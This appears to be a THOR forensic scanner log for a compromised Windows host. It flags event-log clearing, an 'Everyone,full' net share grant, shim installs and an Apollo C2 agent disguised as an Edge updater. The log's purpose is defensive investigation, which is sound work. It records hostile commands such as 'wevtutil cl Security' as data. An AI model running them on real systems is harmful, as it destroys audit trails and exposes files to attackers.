Sep 10 12:57:02 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 11:42:52 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 9956  NewProcessName: C:\Windows\SysWOW64\net.exe  TokenElevationType: %%1936  ProcessId: 8688  CommandLine: net  share Certs=C:\Certs /grant:Everyone,full  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\SysWOW64\cmd.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.725363772041957e+09  EventRecordID: 144063  Execution_ProcessID: 4  Execution_ThreadID: 7132  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Grant Overpermissive Permissions To Files Or Shares SUBSCORE_1: 70 REF_1: https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/, https://social.technet.microsoft.com/Forums/ie/en-US/e16b7a68-7464-40e9-a479-4f6deceb62d6/net-share-with-permissions?forum=winserverfiles SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\net.exe" in NewProcessName Str2: " share " in "net  share Certs=C:\\Certs /grant:Everyone,full" in CommandLine Str3: "/grant" in "net  share Certs=C:\\Certs /grant:Everyone,full" in CommandLine Str4: "/grant:" in "net  share Certs=C:\\Certs /grant:Everyone,full" in CommandLine Str5: "Everyone,full" in CommandLine RULEDATE_1: 2022/12/16 DESCRIPTION_1: Detects the granting of overly permissive such as "FULL CONTROL" permissions to files or shares to groups such as "Everyone" AUTHOR_1: Nasreddine Bencherchali ID_1: 0f9de3a8-ff08-433b-821a-fa241c811a36 FALSEPOSITIVES_1: Rare FP could occur with some scripts and administrators REASONS_COUNT: 1
Sep 10 12:57:02 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 11:42:52 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 5672  NewProcessName: C:\Windows\SysWOW64\net1.exe  TokenElevationType: %%1936  ProcessId: 9956  CommandLine: C:\Windows\system32\net1  share Certs=C:\Certs /grant:Everyone,full  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\SysWOW64\net.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.7253637720667424e+09  EventRecordID: 144064  Execution_ProcessID: 4  Execution_ThreadID: 7844  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Grant Overpermissive Permissions To Files Or Shares SUBSCORE_1: 70 REF_1: https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/, https://social.technet.microsoft.com/Forums/ie/en-US/e16b7a68-7464-40e9-a479-4f6deceb62d6/net-share-with-permissions?forum=winserverfiles SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\net1.exe" in NewProcessName Str2: " share " in "C:\\Windows\\system32\\net1  share Certs=C:\\Certs /grant:Everyone,full" in CommandLine Str3: "/grant" in "C:\\Windows\\system32\\net1  share Certs=C:\\Certs /grant:Everyone,full" in CommandLine Str4: "/grant:" in "C:\\Windows\\system32\\net1  share Certs=C:\\Certs /grant:Everyone,full" in CommandLine Str5: "Everyone,full" in CommandLine RULEDATE_1: 2022/12/16 DESCRIPTION_1: Detects the granting of overly permissive such as "FULL CONTROL" permissions to files or shares to groups such as "Everyone" AUTHOR_1: Nasreddine Bencherchali ID_1: 0f9de3a8-ff08-433b-821a-fa241c811a36 FALSEPOSITIVES_1: Rare FP could occur with some scripts and administrators REASONS_COUNT: 1
Sep 10 12:57:02 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 12:01:59 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 8564  NewProcessName: C:\Windows\System32\sdbinst.exe  TokenElevationType: %%1936  ProcessId: 5032  CommandLine: C:\Windows\System32\sdbinst.exe -m -bg  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\System32\svchost.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.7253649195170047e+09  EventRecordID: 144096  Execution_ProcessID: 4  Execution_ThreadID: 2020  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Suspicious Shim Database Installation via Sdbinst.EXE SUBSCORE_1: 70 REF_1: https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\sdbinst.exe" in NewProcessName RULEDATE_1: 2023/08/01 DESCRIPTION_1: Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims  AUTHOR_1: Nasreddine Bencherchali (Nextron Systems) ID_1: 18ee686c-38a3-4f65-9f44-48a077141f42 FALSEPOSITIVES_1: Unknown REASONS_COUNT: 1
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 13:01:59 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 3064  NewProcessName: C:\Windows\System32\sdbinst.exe  TokenElevationType: %%1936  ProcessId: 5032  CommandLine: C:\Windows\System32\sdbinst.exe -m -bg  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\System32\svchost.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.7253685195597825e+09  EventRecordID: 144316  Execution_ProcessID: 4  Execution_ThreadID: 3192  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Suspicious Shim Database Installation via Sdbinst.EXE SUBSCORE_1: 70 REF_1: https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\sdbinst.exe" in NewProcessName RULEDATE_1: 2023/08/01 DESCRIPTION_1: Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims  AUTHOR_1: Nasreddine Bencherchali (Nextron Systems) ID_1: 18ee686c-38a3-4f65-9f44-48a077141f42 FALSEPOSITIVES_1: Unknown REASONS_COUNT: 1
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 14:01:59 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 9944  NewProcessName: C:\Windows\System32\sdbinst.exe  TokenElevationType: %%1936  ProcessId: 5032  CommandLine: C:\Windows\System32\sdbinst.exe -m -bg  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\System32\svchost.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.7253721195965807e+09  EventRecordID: 144421  Execution_ProcessID: 4  Execution_ThreadID: 6508  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Suspicious Shim Database Installation via Sdbinst.EXE SUBSCORE_1: 70 REF_1: https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\sdbinst.exe" in NewProcessName RULEDATE_1: 2023/08/01 DESCRIPTION_1: Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims  AUTHOR_1: Nasreddine Bencherchali (Nextron Systems) ID_1: 18ee686c-38a3-4f65-9f44-48a077141f42 FALSEPOSITIVES_1: Unknown REASONS_COUNT: 1
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 15:01:59 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 3972  NewProcessName: C:\Windows\System32\sdbinst.exe  TokenElevationType: %%1936  ProcessId: 5032  CommandLine: C:\Windows\System32\sdbinst.exe -m -bg  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\System32\svchost.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.7253757196591663e+09  EventRecordID: 144506  Execution_ProcessID: 4  Execution_ThreadID: 1084  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Suspicious Shim Database Installation via Sdbinst.EXE SUBSCORE_1: 70 REF_1: https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\sdbinst.exe" in NewProcessName RULEDATE_1: 2023/08/01 DESCRIPTION_1: Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims  AUTHOR_1: Nasreddine Bencherchali (Nextron Systems) ID_1: 18ee686c-38a3-4f65-9f44-48a077141f42 FALSEPOSITIVES_1: Unknown REASONS_COUNT: 1
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 16:01:59 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 2556  NewProcessName: C:\Windows\System32\sdbinst.exe  TokenElevationType: %%1936  ProcessId: 5032  CommandLine: C:\Windows\System32\sdbinst.exe -m -bg  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\System32\svchost.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.7253793198101137e+09  EventRecordID: 144560  Execution_ProcessID: 4  Execution_ThreadID: 4600  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Suspicious Shim Database Installation via Sdbinst.EXE SUBSCORE_1: 70 REF_1: https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\sdbinst.exe" in NewProcessName RULEDATE_1: 2023/08/01 DESCRIPTION_1: Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims  AUTHOR_1: Nasreddine Bencherchali (Nextron Systems) ID_1: 18ee686c-38a3-4f65-9f44-48a077141f42 FALSEPOSITIVES_1: Unknown REASONS_COUNT: 1
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 17:01:59 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 6336  NewProcessName: C:\Windows\System32\sdbinst.exe  TokenElevationType: %%1936  ProcessId: 5032  CommandLine: C:\Windows\System32\sdbinst.exe -m -bg  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\System32\svchost.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.7253829198586817e+09  EventRecordID: 144604  Execution_ProcessID: 4  Execution_ThreadID: 5400  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Suspicious Shim Database Installation via Sdbinst.EXE SUBSCORE_1: 70 REF_1: https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\sdbinst.exe" in NewProcessName RULEDATE_1: 2023/08/01 DESCRIPTION_1: Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims  AUTHOR_1: Nasreddine Bencherchali (Nextron Systems) ID_1: 18ee686c-38a3-4f65-9f44-48a077141f42 FALSEPOSITIVES_1: Unknown REASONS_COUNT: 1
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Suspicious eventlog entry found SCANID: S-BxzYg1khKSI ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 3952  NewProcessName: C:\Windows\SysWOW64\cmd.exe  TokenElevationType: %%1936  ProcessId: 2252  CommandLine: cmd.exe /S /c wevtutil cl Security  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\SystemTemp\MicrosoftEdgeUpdate.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.725358264763456e+09  EventRecordID: 143905  Execution_ProcessID: 4  Execution_ThreadID: 2784  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 60 FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 10:11:04 2024 REASON_1: YARA rule LOG_Win_Destructive_Activity / Detects Windows commands often used on Ransomware or sabotage attacks SUBSCORE_1: 60 REF_1: http://blog.talosintelligence.com/2018/02/olympic-destroyer.html SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "wevtutil cl Security" RULEDATE_1: 2018-02-12 TAGS_1: CRIME, LOG, RANSOM RULENAME_1: LOG_Win_Destructive_Activity AUTHOR_1: Florian Roth REASONS_COUNT: 1 FILE_1: C:\Windows\SysWOW64\cmd.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 236032 MD5_1: db126ff10e71753c0c29210c090927a3 SHA1_1: 6bc815d8ab2194850142e80b7107539612332bbd SHA256_1: b94d1c553c7ef81df040d6be59120eb0a8f67aec1a787a2b6b537309cbaf8cc4 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:55.598 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows Command Processor LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: Cmd.Exe.MUI INTERNAL_NAME_1: cmd IMPHASH_1: 392b4d61b1d1dadc1f06444df258188a FILE_2: C:\Windows\SystemTemp\MicrosoftEdgeUpdate.exe EXISTS_2: no FILE_3: E:\Windows\System32\winevt\Logs\Security.evtx EXISTS_3: yes TYPE_3: EVTX SIZE_3: 1118208 MD5_3: 8936924d72548a720289998dd7d6edf0 SHA1_3: ce5c02fa3dc446677eee187abbf62a28fd7d8a9d SHA256_3: 7bc9a979f807a0f53ca0b46b402b682a45f543bb834b4345a6f4aabd43190c49 FIRSTBYTES_3: 456c6646696c6500000000000000000000000000 / ElfFile CREATED_3: Tue Jun  4 02:25:39.557 2024 OWNER_3: NT AUTHORITY\LOCAL SERVICE
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\System.evtx EVENT_ID: 104 EVENT_LEVEL: 4 EVENT_CHANNEL: System EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Mon Jul 22 15:21:45 2024 ENTRY: SubjectUserName: Admin  SubjectDomainName: PC01243  Channel: System  BackupPath:   ClientProcessId: 5448  ClientProcessStartKey: 3377699720529630  Provider_Name: Microsoft-Windows-Eventlog  Provider_Guid: {fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}  EventID: 104  Version: 1  Level: 4  Task: 104  Opcode: 0  Keywords: 9223372036854775808  TimeCreated_SystemTime: 1.721661705973029e+09  EventRecordID: 2980  Execution_ProcessID: 2052  Execution_ThreadID: 10084  Channel: System  Computer: pc01243.MercuryLark.corp  Security_UserID: S-1-5-21-395486425-972718290-1458454356-1001   SCORE: 70 REASON_1: Important Windows Eventlog Cleared SUBSCORE_1: 70 REF_1: https://twitter.com/deviouspolack/status/832535435960209408, https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100 SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "System" in Channel Str2: "Microsoft-Windows-Eventlog" in Provider_Name Str3: "104" in EventID Str4: "System" in Channel RULEDATE_1: 2023/05/16 DESCRIPTION_1: Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution AUTHOR_1: Florian Roth (Nextron Systems), Tim Shelton, Nasreddine Bencherchali (Nextron Systems) ID_1: 100ef69e-3327-481c-8e5c-6d80d9507556 FALSEPOSITIVES_1: Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog), System provisioning (system reset before the golden image creation) REASONS_COUNT: 1
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\System.evtx EVENT_ID: 104 EVENT_LEVEL: 4 EVENT_CHANNEL: System EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Mon Jul 22 15:21:46 2024 ENTRY: SubjectUserName: Admin  SubjectDomainName: PC01243  Channel: Windows PowerShell  BackupPath:   ClientProcessId: 6844  ClientProcessStartKey: 3377699720529649  Provider_Name: Microsoft-Windows-Eventlog  Provider_Guid: {fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}  EventID: 104  Version: 1  Level: 4  Task: 104  Opcode: 0  Keywords: 9223372036854775808  TimeCreated_SystemTime: 1.7216617065201025e+09  EventRecordID: 2983  Execution_ProcessID: 2052  Execution_ThreadID: 10084  Channel: System  Computer: pc01243.MercuryLark.corp  Security_UserID: S-1-5-21-395486425-972718290-1458454356-1001   SCORE: 70 REASON_1: Important Windows Eventlog Cleared SUBSCORE_1: 70 REF_1: https://twitter.com/deviouspolack/status/832535435960209408, https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100 SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "Windows PowerShell" in Channel Str2: "Microsoft-Windows-Eventlog" in Provider_Name Str3: "104" in EventID RULEDATE_1: 2023/05/16 DESCRIPTION_1: Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution AUTHOR_1: Florian Roth (Nextron Systems), Tim Shelton, Nasreddine Bencherchali (Nextron Systems) ID_1: 100ef69e-3327-481c-8e5c-6d80d9507556 FALSEPOSITIVES_1: Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog), System provisioning (system reset before the golden image creation) REASONS_COUNT: 1
Sep 10 12:57:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\System.evtx EVENT_ID: 104 EVENT_LEVEL: 4 EVENT_CHANNEL: System EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 09:15:57 2024 ENTRY: SubjectUserName: SYSTEM  SubjectDomainName: NT AUTHORITY  Channel: Microsoft-Windows-Sysmon/Operational  BackupPath:   ClientProcessId: 7672  ClientProcessStartKey: 4785074604081616  Provider_Name: Microsoft-Windows-Eventlog  Provider_Guid: {fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}  EventID: 104  Version: 1  Level: 4  Task: 104  Opcode: 0  Keywords: 9223372036854775808  TimeCreated_SystemTime: 1.7253549574365888e+09  EventRecordID: 6626  Execution_ProcessID: 2160  Execution_ThreadID: 7916  Channel: System  Computer: pc01243.MercuryLark.corp  Security_UserID: S-1-5-18   SCORE: 70 REASON_1: Important Windows Eventlog Cleared SUBSCORE_1: 70 REF_1: https://twitter.com/deviouspolack/status/832535435960209408, https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100 SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "Microsoft-Windows-Sysmon/Operational" in Channel Str2: "Microsoft-Windows-Eventlog" in Provider_Name Str3: "104" in EventID RULEDATE_1: 2023/05/16 DESCRIPTION_1: Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution AUTHOR_1: Florian Roth (Nextron Systems), Tim Shelton, Nasreddine Bencherchali (Nextron Systems) ID_1: 100ef69e-3327-481c-8e5c-6d80d9507556 FALSEPOSITIVES_1: Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog), System provisioning (system reset before the golden image creation) REASONS_COUNT: 1
Sep 10 12:57:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 80 FILE: E:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackup.dll EXT: .dll TYPE: EXE SIZE: 1872896 MD5: 1d6ff90b4f3e87d2b1f76053e17db5d6 SHA1: 24068cce660015eecb34e19301bc69a9972a39b5 SHA256: c0acfb9d0c6dfd708a9915d651f174d51ea1e09ce0f0a859f84a9dddb096778e FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED: Tue Aug 13 19:55:34.134 2024 MODIFIED: Tue Aug 13 19:55:34.166 2024 ACCESSED: Thu Aug 29 12:16:12.473 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F OWNER: NT SERVICE\TrustedInstaller COMPANY: Microsoft Corporation LEGAL_COPYRIGHT: © Microsoft Corporation.  All rights reserved. PRODUCT: Microsoft® Windows® Operating System ORIGINAL_NAME: WindowsBackup.dll INTERNAL_NAME: WindowsBackup.dll IMPHASH: 3120c38e9c80219e9c8bb33cf385dfd1 REASON_1: Filename IOC \WindowsBackup.dll SUBSCORE_1: 80 REF_1: Stealth Falcon Filename IOC https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \WindowsBackup.dll REASONS_COUNT: 1
Sep 10 12:58:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 80 FILE: E:\Windows\SystemTemp\MicrosoftEdgeUpdate.exe EXT: .exe TYPE: EXE SIZE: 2137088 MD5: 57018b07a90bf5ff7ea658ee8ae90fcb SHA1: a0f8b148ba40172bec6ac1f4a5bb4e00aea520c6 SHA256: 64bfd54748178fc625a59c161f97e57f71e256997eca250262679d1ad0cf25cd FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED: Tue Sep  3 09:04:51.740 2024 MODIFIED: Tue Sep  3 09:04:51.781 2024 ACCESSED: Tue Sep  3 13:11:25.617 2024 PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM DESC: Ollopa LEGAL_COPYRIGHT: Copyright ©  2021 PRODUCT: Ollopa ORIGINAL_NAME: Apollo.exe INTERNAL_NAME: Apollo.exe IMPHASH: f34d5f2d4577ed6d9ceec516c1f5a744 REASON_1: YARA rule MAL_Apollo_Agent_Oct22 / Detects Apollo Windows agent written in C# NET 4.0, often used in combination with Mythic C2 SUBSCORE_1: 80 REF_1: https://github.com/MythicAgents/apollo SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "NewC2Profile" in "ndle\x00handle\x00GetFile\x00PutFile\x00IC2Profile\x00TC2Profile\x00NewC2Profile\x00HttpProfile\x00connectProfile\x00profile\x00Console\x00System" at 0x203ddd RULEDATE_1: 2022-10-05 TAGS_1: EXE, MAL RULENAME_1: MAL_Apollo_Agent_Oct22 AUTHOR_1: Paul Hager REASONS_COUNT: 1
Sep 10 13:01:38 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\WinSxS\amd64_microsoft-desktop-p..ioning-platform-uap_31bf3856ad364e35_10.0.22621.3810_none_58890fa03f937b2b\Microsoft-Desktop-Provisioning-Sequence.dat
